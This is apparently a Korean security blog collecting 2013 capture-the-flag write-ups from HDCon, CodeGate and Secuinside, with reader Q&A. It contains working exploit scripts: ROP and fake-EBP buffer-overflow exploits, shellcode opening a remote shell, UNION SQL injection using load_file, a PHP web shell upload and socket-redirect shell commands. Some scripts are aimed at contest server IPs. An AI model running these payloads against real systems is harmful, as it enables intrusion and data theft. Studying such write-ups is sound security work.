luckyzzang



처음에 문제를 보자마자, 뭐이리 쉽지 했는데, 그냥 그냥 쉽지는 않았다.

버퍼를 왕창 주길래 NX가 없구나 했는데, 그건 아니었던것 같아서 바로 ROP로 전환했다.


근데 문제는, system의 주소값을 모른다는것(offset을 모르는것)과 ROP가 가능한 크기가 유동적이라는것이다.

ROP가 가능한 크기가 랜덤이기 때문에, 시스템 주소값을 맞췄더라도 결과가 안나올수도 있고,

페이로드의 크기가 커지면 커질수록, 성공률도 줄어든다.

그러므로, 페이로드를 작게 만드는게 중요했으나..... 그냥, 계속 반복해서 돌리기로 했다.


system의 주소값을 모르는건 크게 문제가 되지 않았다. 어짜피 fork로 되어있으므로, system 주소값은 변하지 않는다.

그러므로, puts라던지, recv라던지, 이미 있는 주소값을 구해오고 대략적인 offset을 측정한후, 그 주변을 브루트포싱한다.


아래의 익스플로잇에는 주석이 좀 많이 쳐져 있는데, 공격의 순서는

1. puts의 주소를 구한다.

2. 브루트포스를 한다.

3. 주소값을 구한후, 주소값을 고정한후 반복해서 커맨드 명령문을 보낸다.


from socket import * from struct import * import time   #cmd = "id>&4\x00" cmd = "cat key>&4\x00"   send_plt = pack('<I',0x8048610) recv_plt = pack('<I',0x80485f0) ppppr = pack('<I',0x80489cc) puts_plt = pack('<I',0x8048550) puts_got = pack('<I',0x804a018) bss = pack('<I',0x0804a154)   fd = pack('<I',4)   for i in range(0,0x3000,1): s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.214',7777))   payload = "" payload += "A"*1036 """ payload += send_plt # send address of puts payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4 """   payload += recv_plt # overwirte puts to system address payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4   payload += recv_plt # puts command payload += ppppr payload += fd payload += bss payload += pack('<I',len(cmd)) payload += "\x00"*4   payload += puts_plt # system call payload += "AAAA" payload += bss   #print "payload size: "+hex(len(payload)) #print s.recv(1024) #go = raw_input("go?") time.sleep(0.1) s.recv(1024) s.send(payload) time.sleep(0.1) """ get = s.recv(4)         #print get print len(get) puts_addr = unpack('<I',get)[0] print "puts address: "+hex(puts_addr) """ puts_addr = 0xb75b3740   i = 305 system_addr = hex(puts_addr + (-0x27000-i*0x10)) print "i: "+hex(i) print "system address: "+system_addr system_addr = pack('<I',puts_addr +(-0x27000-i*0x10)) s.send(system_addr) # system addr   s.send(cmd) print s.recv(1024) print s.recv(1024) """ try: s.send(cmd) get= s.recv(1024) if get.find('id') > 0: print "Find: "+str(i) print get break except: s.close() continue """ s.close() break


posted by tunz
  • 2013.06.14 20:19

    비밀댓글입니다

    • tunz 2013.06.14 22:30 신고

      305*0x10씩 움직이는게 아니고,
      0x10씩 움직였어요.
      보니까 항상 맨 뒷자리는 0이더라구요. 그래서 0x10칸씩 움직였고,
      그렇게 움직이다가, 305*0x10칸을 움직였을때 반응을 하길래, 나중에 그 값으로 고정한것입니다.

  • 궁금해요~ 2013.06.16 11:57

    그렇군요. 감사합니다~
    속도가 생각보다 느려서 오래걸리던데.
    세션을 여러개로 나누셨죠?

    • tunz 2013.06.17 10:33 신고

      제가할때는 꽤 괜찮아서 세션 하나로도 괜찮았어요 ㅎㅎ
      평소에는 여러개 켜두고 하는편입니다

  • asdf 2013.11.30 02:04

    안녕하세요~ 혹시 hdcon level5 문제 파일좀 구할수 있을까요?

아주 간단한 문제였다.


우선, 그림판에서 대충 jpg 파일을 만든후, 문제에서 주어진 파일과 비교를 한다.

가장 기초중의 기초인 xor을 해보자, 4바이트의 키로 xor을 하고있는것을 알 수 있었다.


"""
>>> hex(0xBB ^ 0xFF)
'0x44'
>>> hex(0xCE ^ 0xD8)
'0x16'
>>> hex(0xDA ^ 0xFF)
'0x25'
>>> hex(0xE6 ^ 0xE0)
'0x6'
>>> hex(0x44 ^ 0x00)
'0x44'
>>> hex(0x06 ^ 0x10)
'0x16'
 
0x44162506
0x06251644
"""
 
 
f = open('secret.jpg','rb')
f2 = open('new.jpg','w')
 
data = f.read()
 
i=0
while i< len(data):
        f2.write(chr(ord(data[i])^0x44))
        f2.write(chr(ord(data[i+1])^0x16))
        if i+2 < len(data):
                f2.write(chr(ord(data[i+2])^0x25))
                f2.write(chr(ord(data[i+3])^0x6))
        i=i+4
 
f.close()
f2.close()

( Python )


사실 이거면 문제는 해결된거 같긴 하지만.... 여튼 프로그램에서의 인풋을 맞춰야 한다.

이제 xor을 알았으니 거꾸로 리버싱을 해나간다.

우선, IDA로 디컴파일을 해보고 나면 v15값을 계산을 하는데, 먼저 그대로 복붙해와서 약간 수정한후 gcc 컴파일하여, v15를 구했다.


#include <stdio.h>
 
int main()
{
        unsigned int v1,v2,v3,v4,v5,v6,v7,v8;
        unsigned int result;
        unsigned int v15[256];
        v1 = 0;
        do
        {
                v2 = v1 >> 1;
                if ( v1 & 1 )
                        v2 ^= 0xEDB88320u;
                if ( v2 & 1 )
                        v3 = (v2 >> 1) ^ 0xEDB88320;
                else
                        v3 = v2 >> 1;
                if ( v3 & 1 )
                        v4 = ((unsigned int)v3 >> 1) ^ 0xEDB88320;
                else
                        v4 = (unsigned int)v3 >> 1;
                if ( v4 & 1 )
                        v5 = ((unsigned int)v4 >> 1) ^ 0xEDB88320;
                else
                        v5 = (unsigned int)v4 >> 1;
                if ( v5 & 1 )
                        v6 = ((unsigned int)v5 >> 1) ^ 0xEDB88320;
                else
                        v6 = (unsigned int)v5 >> 1;
                if ( v6 & 1 )
                        v7 = ((unsigned int)v6 >> 1) ^ 0xEDB88320;
                else
                        v7 = (unsigned int)v6 >> 1;
                if ( v7 & 1 )
                        v8 = ((unsigned int)v7 >> 1) ^ 0xEDB88320;
                else
                        v8 = (unsigned int)v7 >> 1;
                if ( v8 & 1 )
                        result = ((unsigned int)v8 >> 1) ^ 0xEDB88320;
                else
                        result = (unsigned int)v8 >> 1;
                v15[v1++] = result;
        }
        while ( v1 < 0x100 );
 
        int i=0;
        for (i=0; i<256; i++)
                printf("%x,",v15[i]);
}

( C )


그리고, 여기서 출력된 값을 이용해서, 다시 파이썬으로 IDA 디컴파일한 내용을 재구성했다.

(짜고 나서 생각한거지만, 그냥 C를 그대로 복붙해왔어도 되지 않았나 싶다.)

그리고, 인풋은 그냥 브루트포싱을 한다.


v15 = [0,0x77073096,0xee0e612c,0x990951ba,0x76dc419,0x706af48f,0xe963a535,0x9e6495a3,0xedb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x9b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x1db7106,0x98d220bc,0xefd5102a,0x71b18589,0x6b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0xf00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x86d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x3b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x4db2615,0x73dc1683,0xe3630b12,0x94643b84,0xd6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0xa00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x26d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x5005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0xcb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0xbdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d]
 
for i in range(0,1000000):
        v3 = "%04d" % i
        print v3
 
        v4 = 0xffffffff
        i=0
        while i<len(v3):
                v4 = v15[(v4 ^ ord(v3[i]))%256] ^ (v4 >> 8)
                i=i+1
 
        v14 = (~v4) & 0xFFFFFFFFL
        #print hex(v14)
        #if v14 == 0x44162506L:
        if v14 == 0x06251644L:
                print "Find!"
                break


'Computer Security > CTF' 카테고리의 다른 글

[defcon 2013] 3dub, babysfirst, exploit  (0) 2013.06.17
[HDCon 2013] 5번 문제 write up  (6) 2013.06.08
[HDCon 2013] 4번 문제 write up  (0) 2013.06.08
[HDCon 2013] 3번 문제 write up  (0) 2013.06.08
[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
posted by tunz

(2번 문제는 생략하도록 한다. 그냥 네이트온 대화가 오간것을 찾으면 된다.)


virtual host 문제였다.


서버가 virtual host일때, HTTP 헤더의 'Host' 헤더에 따라서 폴더의 경로가 바뀔수 있다.

이번에 처음 안 사실이고, 신기했다.


그래서, 기본적으로는 host가 kisa로 되어있으며, Host를 localhost로 변경할경우 다른 폴더가 나타난다.


import httplib,urllib; import time from socket import *   """ s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.213',8888)) s.send("GET /2013_06_04_blog_backup_.zip HTTP/1.1\r\n") s.send("Referer: http://kisa/\r\n") s.send("Host: localhost\r\n\r\n") f=open('test.zip','w') time.sleep(10) f.write(s.recv(30000)) f.close() s.close() """   conn = httplib.HTTPConnection("118.107.172.213",8888) conn.connect() conn.putrequest('GET','/blog_load_submodules.php?module=/FLAG&cmd=load') conn.putheader('Host','localhost') conn.endheaders() response = conn.getresponse() data = response.read() print data   conn.close()


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 5번 문제 write up  (6) 2013.06.08
[HDCon 2013] 4번 문제 write up  (0) 2013.06.08
[HDCon 2013] 3번 문제 write up  (0) 2013.06.08
[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
posted by tunz

1번 문제는 sql injection 문제였다.


injection 위치는 limit 부분이었다.


limit 부분에 인젝션이 가능할때는 union 인젝션만 가능하다고 알고 있었고, 이게 맞는듯 하다.

그래서 '(', select, from 등이 필터링이 되어있다는걸 알았을때는 멘붕이었고, 내가 잘못 알고 있나 해서 검색을 엄청나게 했다.

하지만, 이 문제는 좀 다른 방향으로 접근해야 했다.

문제파일의 확장자는 'do' 였다. do 확장자에 대해 검색해보면, do 확장자에서 jsp를 불러온다는걸 알수있다.

그래서 students.do 대신 students.jsp로 요청을 하면 ,select의 필터링이 풀린다. 

(즉, do에서 필터링을 하고있었다는걸 알수있다.)

그 후에는 간단한 union 인젝션이다.


import httplib,urllib;
import time
 
conn = httplib.HTTPConnection("118.107.172.213",8889)
conn.connect()
 
# id,name,age,sex,email,title,campus
#query = "12) union (select 0,table_name,0,0x41,0x41,0x41,0x41 from information_schema.tables where table_schema =0x6b6973616864636f6e31); # "
#query = "12) union (select 0,column_name,0,0x41,0x41,0x41,0x41 from information_schema.columns where table_name=0x736563726574); # "
#query = "1) union (select 0,flag,0,0x41,0x41,0x41,0x41 from secret); # "
query = "1) union (select 0,load_file(0x2f7661722f6c69622f6d7973716c2f464c4147),0,0x41,0x41,0x41,0x41); # "
#query = "12) union (select 0,database(),0,0x41,0x41,0x41,0x41); # "
print query
params = urllib.urlencode({'show':query})
#params = params.replace('select','%u0073elect')
print params
conn.putrequest('GET','/kisaHdconWeb1/students.jsp?'+params)
conn.endheaders()
response = conn.getresponse()
data = response.read()
conn.close()
#print data[1000:len(data)-800]
print data


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 4번 문제 write up  (0) 2013.06.08
[HDCon 2013] 3번 문제 write up  (0) 2013.06.08
[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
[Secuinside 2013] PE time  (0) 2013.05.26
posted by tunz
  • 0x0B 2013.06.10 16:01

    혹시 키 파일 디렉토리는 어떻게 구해왔는지 알수있을까요..?
    ;.jsp 같은 취약점 이용해보려했는데 버전이높아서 디렉토리를 구해오진못했는데..

    • tunz 2013.06.10 17:16 신고

      키파일 디렉토리는 주어졌습니다.
      flag 테이블을 우선 찾아내고 나서, 데이터를 읽어보니
      path를 주면서 해당 path에 키가 있다고 하더군요.
      그래서 load_file로 불렀습니다.

  • 0x0B 2013.06.10 18:08

    그렇군요 답변감사합니다 :D

  • 녈비 2013.06.13 18:26

    궁금한 게 하나 있는데요! 인젝션 코드에서 숫자 파라미터 뒤에 괄호 닫기')'는 왜 들어가는 건가요? 본래 테이블 출력해주는 select 문 앞에 괄호 열기 '('가 있었던 건가요? 그렇다면 그걸 어떻게 아셨나요?

    • tunz 2013.06.13 19:37 신고

      그게 그냥 숫자를 치고 #을 하니 에러가 나더군요.
      그러면 추측할수 있는건 mysql이 아니거나, 괄호나 따옴표등이 안닫혔다고 추측할수 있어요.
      그래서 괄호를 하나 닫아보고 #을 해보니 제대로 되길래 그렇게 추측했습니다.

    • 녈비 2013.06.13 21:41

      아 그렇군요. 답변 감사합니다~:)

0x080485e0 <main+80>:   mov    0x804985c,%eax
0x080485e5 <main+85>:   sub    $0x4,%esp
0x080485e8 <main+88>:   push   %eax
0x080485e9 <main+89>:   push   $0x400
0x080485ee <main+94>:   lea    0xfffffc00(%ebp),%eax
0x080485f4 <main+100>:  push   %eax
0x080485f5 <main+101>:  call   0x80483ec

...

(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x00236740
(gdb) x/10x 0x00236740
0x236740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236750 <_IO_2_1_stdin_+16>:   0xb7fe1000      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236760 <_IO_2_1_stdin_+32>:   0xb7fe2000      0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1010:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1020:     0x61616161      0x61616161

...

(gdb) r < exploit
...
(gdb) x/10x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x008cb740      0x00000000      0x00000000      0x00000000
0x804986c:      0x00000000      0x00000000      0x00000000      0x00000000
0x804987c:      0x00000000      0x00000000
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7f45000      0xb7f45000      0xb7f45000

...

(gdb) r < exploit
...
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7ff5000      0xb7ff5000      0xb7ff5000

...

(gdb) r < exploit
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fba000      0xb7fba000      0xb7fba000

stdin 버퍼의 주소값이 있는 곳이 0x008cb744 또는, 0x00236744 일 확률이 높다.

버퍼의 주소또한,

0xb7f??000 으로 두자리밖에 안바뀐다, (대충 300번정도 돌리면 한번은 걸린다는소리)

이 특징을 이용해서, fake_ebp를 시도한다.

from struct import *
from socket import *
import time
 
leave_ret = pack('<I',0x0804858e)
fake_ebp = 0xb7ff5000+272
 
i=0
while True:
        print i
        i=i+1
        buf = ""
        buf+="a"*260
        buf+=pack('<I',fake_ebp)
        buf+=leave_ret
        buf+=pack('<I',0x31337)
        buf+=pack('<I',fake_ebp)         # fake_ebp
        buf+=pack('<I',0x832abc)         # 1 execve("/bin/sh",0)
        buf+="AAAA"                      # 2
        buf+=pack('<I',0x8bd987)         # 3 &"/bin/sh"
        buf+=pack('<I',fake_ebp+4*5)     # 4
        buf+=pack('<I',fake_ebp+4*6)     # 5
        buf+="\x00\x00\x00\x00"          # 6
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(('localhost',7777))
        s.recv(1024)
        s.send(buf)
        time.sleep(0.1)
        try:
                for j in range(0,10):
                        s.send("my-pass\n")
        except:
                s.close()
                continue
        try:
                get = s.recv(1024)
                print get
                s.close()
                break
        except:
                print "except"
                s.close()
                continue
        s.close()

하….. 이게 맞았는지 틀렸는지 확실하지 않으니까, 틀렸다는걸 알아채는데 좀 오래걸린다.

그리고, send(“my-pass\n”) 를 두번이상 보내야한다.. 아마 시간차때문인듯 하다.

$ python exploit.py
...
except
159
euid = 502
let me ride

(근데, execve 대신 system함수를 사용하면, system함수 내부에서 __i686.get_pc_thunk.bx를 call할때 에러가 난다. 이유는 모르겠다…)

posted by tunz
  • 마루 2013.12.13 15:08

    안녕하세요. 궁금한 부분이 있어서 질문 드립니다.
    execve 인자 부분인데요.
    buf+=pack('<I',fake_ebp+4*5) # 4
    buf+=pack('<I',fake_ebp+4*6) # 5
    이 두부분 의미를 모르겠네요.
    좀 부탁드립니다. 수고하세요

    • tunz 2013.12.13 15:45 신고

      fake_ebp+4*6이 NULL을 가리키고 있는 포인터고, fake_ebp+4*5이 그 포인터의 주소입니다.

    • 마루 2013.12.13 16:24

      아 뒤에 있는 null을 가리키는군요.
      오 정말 감사합니다 ^^

  • ksg97031 2014.03.30 12:42

    execve 의 첫번째인자는 포인터의 주소값을 받나여 ??

    • tunz 2014.03.30 20:27 신고

      문자열을 넘길때는 항상 문자열의 주소값을 넘깁니다.

공격 순서는, ssh key 덮어씌우기 -> 버퍼오버플로우 이다.


로컬에서만 접속할수 있는 데몬이기때문에, 로컬의 쉘이 필요하다.

로컬 쉘을 얻을수 있는 방법으로는, ssh key를 서버에 올려놓으면, 비밀번호 없이 접근할 수 있다.


$ ssh-keygen -t rsa

로, public key와 private key를 만든후, private key 는 ~/.ssh/id_rsa 로 옮겨놓고,

public_key는 이름을 authorized_keys로 바꾸고 ftp를 이용해 서버로 업로드한다.


그래서 ftp로 접속을 한다. (annonymous로 접속하면 된다.)

그리고, active 모드로 변경한다. (서버는 대부분의 포트가 막혀있기때문에, passive 모드가 안먹힌다.)

그리고, /home/secu_ftpd/authorized_keys 를 덮어 씌운다.

그 후에 곧바로 ssh secu_ftpd@서버주소 를 통해서 로그인한다.


그러면 첫번째 관문은 통과했다.


그리고 나서는 NX,ASLR이 꺼져있기때문에, 조금 분석후에 간단한 공격을 한다. (사실 엄청 간단하지는 않고, 좀 까다로웠다.)


from socket import *
import sys
import time
 
fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
for i in range(0x00,0xff,10):
        print hex(i)
        payload = ""
        payload += "\x90"*24
        payload += shellcode
        payload += "\x90"*3
        payload += (chr(i)+"\xf2\xff\xbf")*15
        s=socket(AF_INET,SOCK_STREAM)
        s.connect(('localhost',3132))
        while ">" not in s.recv(1024): pass
        time.sleep(0.0001)
        s.send(payload)
        s.send('id\n')
        try:
                get = s.recv(1024)
        except:
                get = ""
                print "except"
                s.close()
                continue
        if get.find('id') is not -1:
                while True:
                        cmd = raw_input('$ ')
                        if cmd == 'exit':
                                s.close()
                                break
                        s.send(cmd+'\n')
                        result = s.recv(1024)
                        print result
s.close()


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
[Secuinside 2013] PE time  (0) 2013.05.26
[Secuinside 2013] Secure Web, write up  (8) 2013.05.26
[Secuinside 2013] banking, write up  (1) 2013.05.26
posted by tunz
IDA로 열어본다.

...
 GetWindowTextA(::hWnd, &String, 128);
    SetWindowTextA(hWnd, &String);
    v16 = 5;
    do
    {
      String -= v16;
      String ^= 3u;
      --v16;
    }
    while ( v16 );
    v17 = 4;
    do
    {
      v23 -= v17;
      v23 ^= 4u;
      --v17;
    }
    while ( v17 );
    v18 = 3;
    do
    {
      v24 -= v18;
      v24 ^= 5u;
      --v18;
    }
    while ( v18 );
    v19 = 2;
    do
    {
      v25 -= v19;
      v25 ^= 6u;
      --v19;
    }
    while ( v19 );
    v20 = strcmp(&String, "C;@R");
    if ( v20 )
      v20 = -(v20 < 0) | 1;
    if ( v20 )
    {
      MessageBoxA(hWnd, ";;", "ohtahacker", 0);
      exit(0);
    }
    MessageBoxA(hWnd, "congratulation", "ohtahacker", 0);
...


어디선가 받은 문자를, 이상한 조작을 한 후, C;@R과 비교한다.


그러면, C;@R에 역조작을 해서 원래 문자를 알아낸다.


>>> chr((((((((((ord('C')^3)+1)^3)+2)^3)+3)^3)+4)^3)+5)

'S'

>>> chr((((((((ord(';')^4)+1)^4)+2)^4)+3)^4)+4)

'E'

>>> chr((((((ord('@')^5)+1)^5)+2)^5)+3)
'C'
>>> chr((((ord('R')^6)+1)^6)+2)
'U'

정답은 SECU


posted by tunz

300점 치고는 너무 쉬운 문제였다.


그냥 php 쉘파일 업로드해서 확인하면 된다.


아래와 같은 파일을 업로드한다.

<?
    system("ls -al /home/");
    system("cat /home/[???? 기억이 안남]/flags");
?>
<br/>
<br/>
<br/>
<br/>
...


그 후에, 

./uploads/[ip encoding]/파일이름

로 접근하면 끝.

posted by tunz
  • ??? 2013.05.27 23:22

    저도 저 방식으로 접근했는데 왜 안됬는지... ㅜㅜ

    주소창에 주소:포트/uploads/아이피인커더/shell.php


    이렇게 시도했는데 말이죠...ㅜㅜ

    • tunz 2013.05.28 10:28 신고

      아이피가 public ip여야 합니다.
      ipconfig을 쳐서 나오는 아이피가 아니고
      네이버나 어느 홈페이지에서 내 ip 보기를 했을때 나오는 아이피로 해야합니다.

      이것때문에 그런게 아닐까요

    • ??? 2013.05.28 20:20

      외부 아이피를 사용했습니다
      주소를 어떻게하셧는지 알수있을까요

    • tunz 2013.05.28 23:36 신고

      음... 그냥 ip주소를 md5 했었는데...
      왜그럴까요

  • ??? 2013.05.27 23:22

    저도 저 방식으로 접근했는데 왜 안됬는지... ㅜㅜ

    주소창에 주소:포트/uploads/아이피인커더/shell.php


    이렇게 시도했는데 말이죠...ㅜㅜ

  • ??? 2013.05.29 13:05

    뭔가 제가 말도안되는 실수를 했던지,
    아니면 문제 외부적 요인에 문제가 있었나봅니다 ㅜㅜ

    수고하시구 답해주셔서 감사합니다 ㅎㅎ

  • rubiya 2013.06.16 01:35

    저희팀이 풀때는 <? 와 system 등등 여러 필터링이 있어서 <script language=php> , highlight_file() 이런식으로 필터링을 우회해가면서 풀었는데 이게 어찌된 영문인지 모르겠네요ㅠㅠ

    • tunz 2013.06.17 17:31 신고

      어라 ... 필터링 될때 어떤 문구가 뜨나요???
      전 처음에 올릴땐 안올라가길래, 파일이 너무 작은가 해서
      뒤에 <br/>을 엄청나게 붙이고 다시 올리니까 됐던 기억이 나네요.

파일디스크립터 문제이다.


쉘에서,


$ ls > file


으로 할때, file에 명령어의 결과가 저장된다는것은 다들 알것이다. 사실 이건


$ ls 1>file


을 생략한 버전이다.


1번은 stdout을 의미한다. (쉘 화면에 출력되는것)

그외에 0번은 stdin이고, 2번은 stderr 이다.


문제를 보면, 5글자까지 system으로 실행을 시켜준다.

하지만, fork로 되어있기때문에, 출력 결과값이 우리에게 돌아오지는 않는다.

우리의 소켓번호는 4번으로 일정하다. (fork이기 때문에)


그렇다면,


ls>&4


를 치게되면, 그 결과값을 4번 디스크립터인, 연결되어있는 소켓에 쏴준다.

그러면 그 결과가 클라이언트에게 날아가게 된다.


대충 느낌이 왔으니, 이제 쉘을 실행한다. 쉘은 원래 0번 디스크립트인 stdin을 이용해서 입력을 하지만, 여기서는 소켓으로 입력을 하고 싶은 상황이다.

그렇다면,


sh<&4


를 치게되면, 쉘을 실행하고, 그 입력값은 소켓을 통해 전달한다는 의미이다.

하지만, 끝이 아니다. 그 결과값은 아직도 stdin으로 출력이 되는 상황이기때문에, 명령어를 실행할때 뒤에 >&4 를 붙여줘야한다.

결국 공격방법은


sh<&4

ls>&4

cat key>&4

posted by tunz
  • pwn 2013.07.05 22:34

    4앞에 &가 붙는 이유가 뭐에요?
    0이랑 1 역시 fd인데 요놈앞에는 안붙고 왜 저놈 앞에는 붙는지.. ㅠㅠ

    • tunz 2013.07.07 12:16 신고

      1이 들어간 자리엔 fd만 들어갈수 있는 자리인데,
      위에서 4가 들어간 자리는 파일 또는 fd 입니다.
      그래서 그냥 >4 를 해버리면 4라는 파일이 만들어지면서 거기에 결과값이 들어갈거구요 아마도..
      그래서 file과 착각하는걸 방지하기위해 &를 붙여서 fd라는걸 표시해줍니다


http 헤더중 range에 관한 문제이다.


Range의 bytes=x-y로 범위를 조작해주면,


응답페이지중 x번째부터 y번째까지의 바이트만을 출력해준다.


import httplib,urllib;
 
conn = httplib.HTTPConnection("119.70.231.180",80)
conn.connect()
conn.putrequest('GET','/secret_memo.txt')
conn.putheader('Connection','keep-alive')
conn.putheader('Range','bytes=100000000-100005000')
conn.endheaders()
response = conn.getresponse()
data = response.read()
print data


posted by tunz